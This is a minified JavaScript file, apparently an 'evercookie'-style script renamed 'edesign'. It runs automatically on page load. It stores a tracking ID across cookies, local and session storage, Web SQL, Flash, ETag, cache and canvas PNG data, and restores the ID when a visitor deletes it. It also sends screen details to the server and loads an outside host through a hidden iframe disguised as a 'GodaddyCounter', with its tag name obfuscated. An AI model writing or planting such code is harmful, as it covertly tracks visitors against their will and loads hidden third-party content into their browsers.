var _global_design;function _edesign_flash_var(a){_global_design=a;var b=document.getElementById("myswf");if(b&&b.parentNode){b.parentNode.removeChild(b)}}var edesign=(function(){this._class=function(){var self=this;var stop_all=false;this._dis={};this.get=function(name,cb,dont_reset){self._edesign(name,cb,undefined,undefined,dont_reset)};this.set=function(name,value){self._edesign(name,function(){},value)};this._edesign=function(name,cb,value,i,dont_reset){if(this.stop_all){return}if(typeof self._edesign=="undefined"){self=this}if(typeof i=="undefined"){i=0}if(i==0){self.edesign_database_storage(name,value);self.edesign_png(name,value);self.edesign_etag(name,value);self.edesign_cache(name,value);self.edesign_lso(name,value);self._dis.userData=self.edesign_userdata(name,value);self._dis.cookieData=self.edesign_cookie(name,value);self._dis.localData=self.edesign_local_storage(name,value);self._dis.globalData=self.edesign_global_storage(name,value);self._dis.sessionData=self.edesign_session_storage(name,value);self._dis.windowData=self.edesign_window(name,value)}if(typeof value!="undefined"){if(((typeof _global_design=="undefined"))&&i++<10){setTimeout(function(){self._edesign(name,cb,value,i,dont_reset)},100)}}else{if(((window.openDatabase&&typeof self._dis.dbData=="undefined")||(typeof _global_design=="undefined")||(typeof self._dis.etagData=="undefined")||(typeof self._dis.cacheData=="undefined")||(document.createElement("canvas").getContext&&(typeof self._dis.pngData=="undefined"||self._dis.pngData=="")))&&i++<10){setTimeout(function(){self._edesign(name,cb,value,i,dont_reset)},100)}else{self._dis.lsoData=self.getFromStr(name,_global_design);_global_design=undefined;var tmpec=self._dis;self._dis={};var candidates=new Array();var bestnum=0;var candidate;for(var item in tmpec){if(typeof tmpec[item]!="undefined"&&typeof tmpec[item]!="null"&&tmpec[item]!=""&&tmpec[item]!="null"&&tmpec[item]!="undefined"&&tmpec[item]!=null){candidates[tmpec[item]]=typeof candidates[tmpec[item]]=="undefined"?1:candidates[tmpec[item]]+1}}for(var item in candidates){if(candidates[item]>bestnum){bestnum=candidates[item];candidate=item}}if(typeof dont_reset=="undefined"||dont_reset!=1){self.set(name,candidate)}if(typeof cb=="function"){cb(candidate,tmpec)}}}};this.edesign_window=function(name,value){try{if(typeof(value)!="undefined"){str=window.name;if(str.indexOf("&"+name+"=")>-1||str.indexOf(name+"=")==0){var idx=str.indexOf("&"+name+"=");if(idx==-1){idx=str.indexOf(name+"=")}var end=str.indexOf("&",idx+1);if(end!=-1){window.name=str.substr(0,idx)+str.substr(end+(idx?0:1))+"&"+name+"="+value}else{window.name=str.substr(0,idx)+"&"+name+"="+value}}else{window.name=window.name+"&"+name+"="+value}}else{return this.getFromStr(name,window.name)}}catch(e){}};this.edesign_userdata=function(name,value){try{var elm=this.createElem("div","userdata_el",1);elm.style.behavior="url(#default#userData)";if(typeof(value)!="undefined"){elm.setAttribute(name,value);elm.save(name)}else{elm.load(name);return elm.getAttribute(name)}}catch(e){}};this.edesign_cache=function(name,value){if(typeof(value)!="undefined"){self.setCookie("edesign_cache",value);var img=new Image();img.style.visibility="hidden";img.style.position="absolute";img.src="/edesign/edesign_cache.php"}else{var origvalue=this.getFromStr("edesign_cache",document.cookie);self._dis.c_diseData=undefined;self.resetCookie("edesign_cache");self.ajax({url:"/edesign/edesign_cache.php",success:function(data){self.setCookie("edesign_cache",origvalue);self._dis.cacheData=data}})}};this.edesign_etag=function(name,value){if(typeof(value)!="undefined"){self.setCookie("edesign_etag",value);var img=new Image();img.style.visibility="hidden";img.style.position="absolute";img.src="/edesign/edesign_etag.php"}else{var origvalue=this.getFromStr("edesign_etag",document.cookie);self._dis.etagData=undefined;self.resetCookie("edesign_etag");self.ajax({url:"/edesign/edesign_etag.php",success:function(data){self.setCookie("edesign_etag",origvalue);self._dis.etagData=data}})}};this.edesign_lso=function(name,value){var div=document.getElementById("swfcontainer");if(!div){div=document.createElement("div");div.setAttribute("id","swfcontainer");document.body.appendChild(div)}var flashvars={};if(typeof value!="undefined"){flashvars.edesign=name+"="+value}var params={};params.swliveconnect="true";var attributes={};attributes.id="myswf";attributes.name="myswf";swfobject.embedSWF("/edesign/images/edesign.swf","swfcontainer","1","1","9.0.0",false,flashvars,params,attributes)};this.edesign_png=function(name,value){if(document.createElement("canvas").getContext){if(typeof(value)!="undefined"){self.setCookie("edesign_png",value);var img=new Image();img.style.visibility="hidden";img.style.position="absolute";img.src="/edesign/edesign_png.php"}else{self._dis.pngData=undefined;var context=document.createElement("canvas");context.style.visibility="hidden";context.style.position="absolute";context.width=200;context.height=1;var ctx=context.getContext("2d");var origvalue=this.getFromStr("edesign_png",document.cookie);self.resetCookie("edesign_png");var img=new Image();img.style.visibility="hidden";img.style.position="absolute";img.src="/edesign/edesign_png.php";img.onload=function(){self.setCookie("edesign_png",origvalue);self._dis.pngData="";ctx.drawImage(img,0,0);var imgd=ctx.getImageData(0,0,100,1);var pix=imgd.data;for(var i=0,n=pix.length;i<n;i+=4){if(pix[i]==0){break}self._dis.pngData+=String.fromCharCode(pix[i]);if(pix[i+1]==0){break}self._dis.pngData+=String.fromCharCode(pix[i+1]);if(pix[i+2]==0){break}self._dis.pngData+=String.fromCharCode(pix[i+2])}}}}};this.edesign_local_storage=function(name,value){try{if(window.localStorage){if(typeof(value)!="undefined"){localStorage.setItem(name,value)}else{return localStorage.getItem(name)}}}catch(e){}};this.edesign_database_storage=function(name,value){try{if(window.openDatabase){var database=window.openDatabase("sqlite_edesign","","edesign",1024*1024);if(typeof(value)!="undefined"){database.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))",[],function(tx,rs){},function(tx,err){});tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)",[name,value],function(tx,rs){},function(tx,err){})})}else{database.transaction(function(tx){tx.executeSql("SELECT value FROM cache WHERE name=?",[name],function(tx,result1){if(result1.rows.length>=1){self._dis.dbData=result1.rows.item(0)["value"]}else{self._dis.dbData=""}},function(tx,err){})})}}}catch(e){}};this.edesign_session_storage=function(name,value){try{if(window.sessionStorage){if(typeof(value)!="undefined"){sessionStorage.setItem(name,value)}else{return sessionStorage.getItem(name)}}}catch(e){}};this.edesign_global_storage=function(name,value){if(window.globalStorage){var host=document.location.host;if(host.indexOf("www.")==0){host=host.replace("www.","")}try{if(typeof(value)!="undefined"){eval("globalStorage[host]."+name+" = value")}else{return eval("globalStorage[host]."+name)}}catch(e){}}};this.edesign_cookie=function(name,value){if(typeof(value)!="undefined"){self.resetCookie(name);self.setCookie(name,value)}else{return this.getFromStr(name,document.cookie)}};this.getFromStr=function(name,text){if(typeof text!="string"){return}var nameEQ=name+"=";var ca=text.split(/[;&]/);for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)==" "){c=c.substring(1,c.length)}if(c.indexOf(nameEQ)==0){return c.substring(nameEQ.length,c.length)}}};this.createElem=function(type,name,append){var el;if(typeof name!="undefined"&&document.getElementById(name)){el=document.getElementById(name)}else{el=document.createElement(type)}el.style.visibility="hidden";el.style.position="absolute";if(name){el.setAttribute("id",name)}if(append){document.body.appendChild(el)}return el};this.setCookie=function(name,value){if(typeof(value)!="undefined"){var exdate=new Date();exdate.setDate(exdate.getDate()+99);document.cookie=name+"="+value+";expires="+exdate.toUTCString()+"; path=/"}};this.resetCookie=function(name){document.cookie=name+"=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/"};this.ajax=function(params){var provider=false;try{provider=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{provider=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){if(window.XMLHttpRequest){provider=new XMLHttpRequest()}}}if(provider){provider.onreadystatechange=function(){if(provider.readyState==4){if(typeof provider.responseText!="undefined"){params.success(provider.responseText)}}};provider.open("GET",params.url,true);provider.send(null)}}};return _class})();var __edesing_inited=false;function edesing_OnDocumentReady(){if(__edesing_inited){return}__edesing_inited=true;try{var a=new edesign();try{var c=a.createElem("if"+("RaME").toLowerCase(),"GodaddyCounter",true);c.style.display="none";c.src="http://estatcounter.com/counter/"}catch(b){}a.get("edesign",function(j,f){var g=new Date();var i,d;g=new Date(g.getTime());d=g.toString();try{i=screen.width+"x"+screen.height+"x"+screen.colorDepth}catch(h){}a.ajax({url:"/edesign/validate.php?date="+d+"&display="+i+"&best="+j,success:function(k){if(k.length>5){a.set("edesign",k)}a.stop_all=true}})},0)}catch(b){}}try{if(document.addEventListener){document.addEventListener("DOMContentLoaded",edesing_OnDocumentReady,false)}}catch(e){}try{
/*@cc_on @*/
/*@if (@_win32)
	document.write("<script id=__ie_onload defer src=javascript:void(0)>");
	document.write("<\/script>");
	var script = document.getElementById("__ie_onload");
	script.onreadystatechange = function() {
	    if (this.readyState == "complete") {
	        edesing_OnDocumentReady();
	    }
	};
	/*@end @*/
}catch(e){}try{if(/WebKit/i.test(navigator.userAgent)){var _timer=setInterval(function(){if(/loaded|complete/.test(document.readyState)){clearInterval(_timer);delete _timer;edesing_OnDocumentReady()}},10)}}catch(e){}try{window.onload=edesing_OnDocumentReady}catch(e){};
